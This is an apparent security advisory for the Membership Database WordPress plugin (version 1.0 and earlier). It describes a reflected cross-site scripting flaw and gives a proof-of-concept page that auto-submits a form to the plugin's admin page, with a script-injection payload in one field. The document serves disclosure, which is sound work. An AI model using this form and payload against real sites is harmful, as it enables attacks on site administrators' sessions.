Membership Database <= 1.0 – Reflected XSS

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

Make a logged in admin open a page with the code below

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=member-database%2Flist_members.php" method="POST">
      <input type="hidden" name="action" value="sort" />
      <input type="hidden" name="where" value="id" />
      <input type="hidden" name="operator" value="=" />
      <input type="hidden" name="value" value="asd"</script><script>alert(document.domain)</script>//" />
      <input type="hidden" name="sortBy" value="id" />
      <input type="hidden" name="ascdesc" value="asc" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>